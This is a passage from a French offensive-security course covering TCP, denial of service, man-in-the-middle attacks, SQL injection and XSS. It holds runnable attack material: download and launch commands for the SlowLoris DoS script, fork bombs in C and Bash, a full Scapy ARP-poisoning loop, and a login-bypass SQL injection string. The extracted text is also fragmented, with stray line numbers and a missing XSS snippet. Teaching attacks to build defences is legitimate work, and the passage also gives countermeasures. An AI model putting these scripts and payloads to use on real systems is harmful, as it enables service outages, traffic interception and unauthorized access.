ports enregistrés (Registered ports) de 1024 à 49151 Services enregistrés par l'IANA (officiels) (par exemples : OpenVPN (1194), IPSec (1293), Cisco X.25 over TCP (XOT) service (1998)) ou non officiels (par exemple : Windows Live Messenger (1503)).
ports dynamiques / privés de 49152 à 65535 plus rarement utilisés
iii Fonctionnement
Fiabilité numéro de séquence associé à un paquet lors de son émission après réception, un "accusé de réception" est envoyé paquet avec drapeaux ACK activé (à 1)
avec un numéro d'acquittement égal au numéro de séquence du paquet reçu
33 - http://www.iana.org/assignments/port-numbers
42
Noël Macé (noelmace.com)
Sécurité offensive : savoir attaquer pour mieux se défendre
+ quantité de données (en octets) reçues et un numéro de séquence égal au numéro d'acquittement du paquet reçu
en l'absence de réception de cet "accusé de réception" durant un temps imparti, le paquet est retransmis en cas de réception de deux paquets identiques (même numéro de séquence), la machine réceptrice ne considérera que le dernier paquet reçu
Établissement de connexion "synchronisation" des numéros de séquence Three-way handshake Deux drapeaux : SYN : demande de connexion ACK : acquittement (positionné ensuite pour tout les segments échangés sur une connexion établie) 3 étapes : 1. demande de connexion 2. acquittement + demande de connexion 3. acquittement
Autres drapeaux
ECN : signale la présence de congestion (RFC 3168)
URG : données urgentes
PSH : données à envoyer tout de suite (push)
RST : rupture anormale de la connexion (reset)
FIN : demande la FIN de la connexion
Un espace de 5 bits est conservé avant ces drapeaux afin de prévoir des éventuels Noël Macé (noelmace.com)
43
Sécurité offensive : savoir attaquer pour mieux se défendre
ajouts futurs
Autres éléments Taille de l'en-tête : essentiel, car la taille de champs Options est variable Fenêtre : nombre d'octets que le récepteur souhaite recevoir sans accusé de réception Somme de contrôle (Checksum ou CRC) : somme des champs de données de l'entête, afin de permettre de vérifier l'intégrité de l'en-tête (cf OSI : répétition avec l'Ethernet, car cloisonnement des couches) Pointeur de données urgentes : numéro de séquence à partir duquel l'information devient urgente Options : diverses options Remplissage : par des zéros, afin d'obtenir une taille d'en-tête multiple de 32 bits
3. Déni de service Une attaque par dénis de service (DoS, pour Denial of Service en anglais) consiste, par quelque moyen que ce soit, à rendre un service indisponible, pour tout le monde ou un groupe d'utilisateurs spécifiques.
a) Causes physiques Un DoS peu résulter, en premier lieux de causes physiques, plus ou moins prévisibles : panne d'électricité, incendie, inondation, travaux publiques, etc ... Il est primordial de toujours anticiper ce risque dans le cadre d'une politique de sécurité (la mise en place de groupes électrogène sera par exemple une réponse efficace à toute panne d'électricité). Pour un attaquant, de tels accidents peuvent de plus représenter une véritable opportunité, s'il n'a pas été déclenché par lui même intentionnellement.
b) Causes réseau
44
Noël Macé (noelmace.com)
Sécurité offensive : savoir attaquer pour mieux se défendre
Remarque Comme nous le voyons ici, un DoS ne se limite pas, dans sa définition, aux seuls dénis de services engendrés par attaques via le réseau. Cependant, étant donné la fréquence de ces attaques, le terme DoS est parfois utilisé, par extension, pour désigner les seuls dénis de services engendrés par des attaques via le réseau.
Flooding Le flooding (anglicisme pour inondation) consiste à submerger un réseau, un service ou un service, suite à l'envoi d'une très grande quantité d'informations. Cela peu se faire en envoyant une grande quantité de paquets sur un réseau, afin de submerger les routeurs et/ou la bande passante, ou un grand nombre de requêtes à un service (comme par exemple un serveur HTTP ou DNS). Les ressources des serveurs offrant ces services étant limitées, et le traitement de ces requêtes demandant de la ressources, ce serveur se trouve rapidement incapable de répondre aux requêtes d'autres utilisateurs.
Smurfing Le smurfing est une attaque utilisant le protocole ICMP. Lorsqu'un paquet ICMP ECHO REQUEST est envoyé à une adresse de broadcast, celui-ci est démultiplié, et envoyé à chacune des machines du réseau. Ainsi, en envoyant un paquet ICMP ECHO REQUEST avec une adresse source modifiée pour correspondre à l'adresse IP d'une cible, toutes les machines du réseau ayant reçu cette requête répondront par un ICMP ECHO REPLY vers la machine cible, la surchargeant ainsi sur la quantité de paquets.
Packet Fragment Une attaque de type Packet Fragement est une attaque exploitant certaines faiblesses du protocole TCP/IP au niveau de la défragmentation des paquets. Par exemple, une attaque Ping of Death consiste à envoyer une quantité de données supérieure à la taille maximum d'un paquet IP, grâce à une mauvaise gestion de la défragmentation dans le protocole ICMP.
Exemple
: SlowLoris
SlowLoris est un script Perl permettant de lancer une attaque DoS sur les serveurs web en utilisant un minimum de ressources et de bande passante. Il est tout particulièrement efficace contre les serveurs Apache, qui représente la grande majorité des serveurs web du marché. Pour ce faire, SlowLoris va envoyer des requêtes HTTP partielles, à intervalles réguliers, afin de garder un maximum de connexions TCP ouvertes sur une durée maximale. Pour le télécharger, il vous suffit de récupérer le fichier à cette adresse : http://ha.ckers.org/slowloris/slowloris.pl 34 et de le rendre exécutable. Pour ce lancer de manière optimale, slowloris aura besoin des modules perl suivant : IO::Socket::INET, IO::Socket::SSL, Getopt::Long et threads::shared. 1 2 3 4 5 6 7 8
Sous GNU/Linux $ wget http://ha.ckers.org/slowloris/slowloris.pl $ chmod +x ./slowloris.pl Il est tout d'abord nécessaire d'installer leslibrairies de développement ssl : # apt-get install libssl-dev Pour installer les modules perl, on peu passer par CPAN : # perl -MCPAN -e 'install IO::Socket::INET' # perl -MCPAN -e 'install IO::Socket::SSL'
34 - http://ha.ckers.org/slowloris/slowloris.pl Noël Macé (noelmace.com)
45
Sécurité offensive : savoir attaquer pour mieux se défendre 9 10
# perl -MCPAN -e 'install Getopt::Long' # perl -MCPAN -e 'install threads::shared'
Ensuite, pour lancer une attaque, il vous suffit de lancer la commande suivante : 1 2 3
$ ./slowloris.pl -dns ou, pour lancer une attaque sur https (souvent plus efficace) $ ./slowloris.pl -dns -port 443 -https
c) Causes système Le système d'exploitation et ses services eux même peuvent également être à l'origine d'un DoS. Les causes peuvent en êtres diverses, aussi bien intentionnelles que par inadvertance. Voyons donc quelques exemples.
Mauvaise configuration Une configuration erronée est bien entendue une des premières sources de DoS. Par exemple, une simple erreur de syntaxe dans un fichier de configuration peu tout simplement empêcher un service de se lancer. Ces erreurs sont généralement faites par les administrateurs par simple inadvertance, mais peuvent aussi être introduites intentionnellement par un attaquant.
Bugs La encore, un simple bug dans un logiciel ou le système peu entrainer une panne totale d'un service, voir du système dans son ensemble. Nous connaissons tous le BSOD (Blue Screen Of Death) de Windows, annonçant qu'une erreur fatale (la plupart du temps par un bug du système ou d'un driver) est advenue, entraînant un redémarrage brutal du système.
Fork bomb En revanche, une Fork bomb est rarement crée par inadvertance. Il s'agit en effet d'une procédure créant un grand nombre de processus très rapidement sur un système. Le nombre de processus pouvant être exécutés simultanément sur un système étant limité, l'OS se retrouve rapidement submergé, sa table de processus étant saturée par tout ces nouveaux arrivant. Par conséquent, la table de processus étant saturé, aucun nouveau processus ne peu être lancé, entraînant des conséquences désastreuses pour le bon fonctionnement du système et de ses services, et donc un DoS.
Exemple 1 2 3 4 5 6 7
46
: Fork bomb C
include int main(int argc, char* argv[] { while(1) fork(); return(0); }
Noël Macé (noelmace.com)
Sécurité offensive : savoir attaquer pour mieux se défendre
Exemple 1
: Fork bomb Bash
:(){ :|:&};:
Est une version raccourcie de : 1 2 3 4
forkb(){ forkb | forkb & } forkb
d) Dénie de service distribué (DDoS) Il y a cependant une forte limite à toutes ces techniques : les performances actuelle des serveurs ! En effet, étant donné la capacité de traitement de requète des serveurs d'aujourd'hui, réaliser une simple attaque DoS, quelque soit la technique, n'aboutira que très rarement à un déni de service. Comment, dans ce cas, augmenter considérable la quantité d'informations envoyées, pour submerger un serveur ? Il va falloir, tout simplement, multiplier les attaques, à partir de plusieurs machines. C'est ce qu'on appel le déni de service distribué, ou DDoS (pour Distributed Deny of Service en anglais).
Méthode Pour ce faire, deux solutions possibles : obtenir le contrôle (au moins partiel) de nombreuses machines sources à l'insu de leur administrateur on parle généralement de "machine zombie", et "d'armées de zombies" (ou botnets), également utilisé dans le cadre d'autres attaques (spamming, puissance de calcul pour le cracking de mots de passes, etc ...) ou, plus rarement, faire appel à tout un ensemble de "supporters", qui offrirons volontairement l'accès nécessaire à leur machine (via un simple logiciel, non viral). Cette deuxième solution est généralement privilégiée par les hacktivistes (on parle alors parfois de cyber-manifestation), mais demeure illégale. Dans tout les cas, des machines maîtres (masters) doivent être utilisées pour contrôler ce groupe de daemons, et synchroniser les attaques.
Noël Macé (noelmace.com)
47
Sécurité offensive : savoir attaquer pour mieux se défendre
Architecture d'une attaque DDoS
48
Noël Macé (noelmace.com)
Sécurité offensive : savoir attaquer pour mieux se défendre
4. Attaques de l'homme du milieu Principe Une "attaque de l'homme du milieu" ou man in the middle attack (MITM) est une opération consistant à intercepter les communications entre deux parties. Bien entendu, cette attaque a également pour but qu'aucune de ces deux parties n'ai conscience de cette interception.
Objectif En réalisant cet opération, l'attaquant dispose ainsi de toutes les informations censées transiter directement entre les deux entités. Il peu donc simplement les récupérer, ou même les modifier. Cela pourra par exemple être très utile pour falsifier les clés permettant l'échange "sécurisé" entre ceux deux entités : chacune croit être connectée directement et de manière sécurisée à l'autre, alors qu'en fait, elles sont connectées à la machine de l'attaquant, qui sert ensuite de routeur afin que les personnes et systèmes impliqués ne puissent se rendre compte de la supercherie.
a) Exemples de techniques ARP poisoning L'ARP spoofing, ou ARP poisoning, permet d'utiliser le protocole ARP pour réaliser une attaque MITM. Pour se faire, l'attaquant va envoyer un paquet ARP qu'il aura lui même forgé à l'aide d'outil comme Scapy. Ainsi, il pourra modifier à son goût la table ARP afin de remplacer dans celui ci l'adresse MAC d'une machine par celle de son choix. Par la suite, toutes les machines souhaitant communiquer avec l'adresse IP censée correspondre à cette machine (un routeur clé par exemple) communiquerons donc en fait avec la machine de l'attaquant.
Exemple
: Avec Scapy
Scapy est un utilitaire puissant de manipulation de paquets. Il vous permet, de manière relativement simple, de créer un paquet totalement personnalité, et de l'envoyer sur le réseau. Par exemple, pour envoyer un paquet ARP comme évoqué plus haut, nous ferrons : 1 2 3 4 5 6 7
root@bt:/# scapy >>> op=1 # OP code 1 specifies ARP Request >>> victim= # Windows 7's IP >>> spoof= # The router or gateway's IP >>> mac= # The Backtrack's Physical Addrese >>> arp=ARP(op=op,psrc=spoof,pdst=victim,hwdst=mac) >>> send(arp)
Il sera ensuite nécessaire d'envoyer ce second paquet en boucle, grâce par exemple à un script Python. Pour voir une description en détail des opérations nécessaires, vous pouvez lire cet article35. 1 2 3 4 5 6 7 8
#!/usr/bin/env python # # Execute with sudo python arppoison.py # chaque paramètre doit être modifié pour VOTRE cas # # N'oubliez pas ensuite de changer statiquement votre addresse IP pour prendre celle de la machine spoofée # ip a a dev #
35 - http://www.arppoisoning.com/demonstrating-an-arp-poisoning-attack-2/ Noël Macé (noelmace.com)
49
Sécurité offensive : savoir attaquer pour mieux se défendre 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
from scapy.all import * import time op=1 # Op code 1 for ARP requests victim="192.168.56.10" # la victime du spoof victim2="192.168.56.1" # le routeur spoof="192.168.56.11" # machine spoofee mac="00:0c:29:ec:55:7b" # votre addresse MAC # definition des paquets arp arp=ARP(op=op,psrc=spoof,pdst=victim,hwdst=mac) arp2=ARP(op=op,psrc=spoof,pdst=victim2,hwdst=mac) # boucle infinie pour le spoofing while 1: send(arp) send(arp2) time.sleep(2)
Usurpation d'adresse IP L'usurpation d'adresse IP (en anglais : IP spoofing ou IP address spoofing) consiste à envoyer des paquets à un destinataire avec, comme adresse IP source, l'adresse d'une autre machine. Ainsi, la machine attaquée croira-t-elle avoir à faire à une autre machine, que l'attaquant remplacera. Ceci peu être fait dans deux objectifs : soit de dissimuler son identité, soit d'usurper l'identité d'une autre machine et donc des services correspondants. Cette technique nécessite cependant de réaliser d'autres opérations afin que l'attaque se déroule comme prévue : DoS sur la machine "spoofée", établissement/vol de connexion TCP, etc ...
Exemple
: Quelques exemples.
Pour une illustration en détail de ce genre d'attaque, vous pouvez consulter cette page36 ou encore celle-ci37.
b) Contres mesures à l'ARP spoofing Contre l'ARP spoofing n'est pas chose forcément aisée. La solution la plus évitente consiste à mettre en place des ARP statiques, configurés manuellement. Cela va cependant représenter une très grande charge de travail pour les administrateurs. Pour ce faire, vous pouvez lancer : 1 2 3 4 5 6
Sous Windows : > arp -s 192.168.1.1 11-22-33-44-11-11 Sous GNU/Linux : # arp -s 192.168.1.1 11:22:33:44:11:11 Sous Cisco IOS : router(config)#arp 192.168.1.2 1122.3344.5566 ARPA
Bien entendu, d'autres solutions sont possibles, et d'autant plus utiles qu'elles pourront répondre à d'autres risques : surveillance (par exemple avec arpwatch ou ethercap), port security sur les switchs, etc ...
à l'IP spoofing Pour se prémunir de l'IP spoofing, il "suffit" d'éviter autant que possible d'authentifier les machines avec lesquelles nous communiquons via IP uniquement. Pour pallier à cela, nous pouvons par exemple utiliser du SSL (HTTPS par exemple), du SSH, de l'IPsec, etc ...
36 - http://bases-hacking.org/ip-spoofing.html 37 - http://www.oil-offshore-marine.com/aker-kvaerner-fraud-attack.php
50
Noël Macé (noelmace.com)
Sécurité offensive : savoir attaquer pour mieux se défendre
5. Injection de données dans un site web Aujourd'hui, le protocole HTTP est central sur Internet, et dans l'économie en générale. Les utilisateurs y font passer leurs informations confidentielles, y utilisent des services clés (virement bancaire par exemple), et y récupèrent de précieuses informations, qui dictent leur comportement (par exemple, pour trouver le numéro de téléphone de l'assistance technique dans une organisation). S'introduire dans ces serveurs web peut donc être une étape primordiale pour un attaquant, sinon un but final (pour du defacing par exemple). Nous avons déjà évoqué, et continuerons à évoquer, certaines méthodes permettant de contourner le serveur web lui même, pour s'introduire dans un système, et ainsi modifier les pages web si nécessaire. Nous allons voir à présent ici deux méthodes permettant de profiter directement des failles les plus courantes sur les serveurs web eux même.
a) Injection SQL Pourquoi ? La plupart des sites web d'aujourd'hui repose sur une architecture exploitant une base de donnée pour réaliser la persistance des informations manipulée. Dans la très grande majorité des cas, ces bases de données sont directement manipulé par du code SQL, exécuté côté serveur (via PHP, Java, ou autre). Par exemple, lorsque vous rentrez votre login et votre mot de passe dans un champ d'une page d'authentification d'un site, une requète SQL est forgée à partir de vos entrée, pour vérifier dans la base de donnée si votre couple login/mot de passe correspond bien à un compte existant.
Comment ? Si les valeurs entrées par un utilisateurs ne sont pas vérifiée avant la création de la requète SQL, il est donc possible, pour un attaquant, d'utiliser des caractères spéciaux du SQL ( ; @ -- etc ...) pour modifier la requête SQL prévue à l'origine, voir lancer la requête SQL de son choix. Bien entendu, cela demande un grand travail d'audit et de déduction, et de nombreux essais.
Exemple
: Exemple concert
Un site utilise la requête suivante pour authentifier les utilisateurs. Si cette requête renvoi une ligne, alors le couple login / mot de passe est bien valide, et l'accès est donné. 1
SELECT uid FROM Users WHERE name = '(nom)' AND password = '(mot de passe hashé)';
Un attaquant peut donc, par exemple, entrer « dupont ' -- » comme nom d'utilisateur. La requête résultante sera donc la suivante : 1 2 3
SELECT uid FROM Users WHERE name = 'Dupont' -- ' AND password = '4e383a1918b432a9bb7702f086c56596e'; équivalente à : SELECT uid FROM Users WHERE name = 'Dupont';
Ici, on ne vérifie plus que le nom de l'utilisateur, ce qui permet à l'attaquant d'obtenir l'accès sans avoir à rentrer de mot de passe.
Noël Macé (noelmace.com)
51
Sécurité offensive : savoir attaquer pour mieux se défendre
b) Cross Site Scripting Remarque : A propos du nom Le nom cette technique (Cross Site Scripting, ou XSS) est bien mal trouvée ... et ne définie pas vraiment sa réalité. Pour citer Mark Slemko, un des pionners de cette technique : « Le problème n'est pas simplement le 'scripting', et il n'y a pas forcément quelque chose entre plusieurs sites. Alors pourquoi ce nom ? En fait, le nom a été donné quand le problème était moins bien compris, et c'est resté. Croyez-moi, nous avions des choses plus importantes à faire que de réfléchir à un meilleur nom. »
Problématique Dans les fait, le Cross Site Scripting est similaire à l'injection SQL, à cela près qu'il ne passe pas par du SQL, mais directement par les différents langages du web (HTML, JavaScript, PHP, etc ...). Il va donc nous permettre d'injecter nos donner dans un site.
Catégories de XSS Les failles XSS peuvent être distinguées en 2 catégories : XSS réfléchi (non permanent ) : la plus courante, mais aussi celle permettant le moins de résultat (puisque nécessitant toujours de l'ingénierie sociale). Cette faille est présente sur tout site réutilisant directement des paramètres entrés par l'utilisateur pour effectuer un rendu sur la page. XSS stocké (permanent) : bien plus efficace, une faille XSS stockée sera présent à chaque fois qu'une donnée entrée par l'utilisateur est stocké en mémoire (base de donnée par exemple) pour ensuite être réutilisée, plus ou moins définitivement, dans une page de résultat. Cette faille permet donc à l'attaquant de réaliser une modification pérenne sur un site web, via, par exemple, un commentaire.
Exemple
: XSS non permanent
Pour tester si un site est sensible à du XSS par JavaScript, nous pouvons par exemple rentre le code suivant dans un champ texte : 1
Si un pop-up "bonjour" apparaît, cela nous indique que nous avons pu injecter notre code javascript dans le site. Ce sera par exemple le cas avec ce genre de pages : 1 2 3 4 5 6 7 8 9 10 1 2 3 4
52
XSS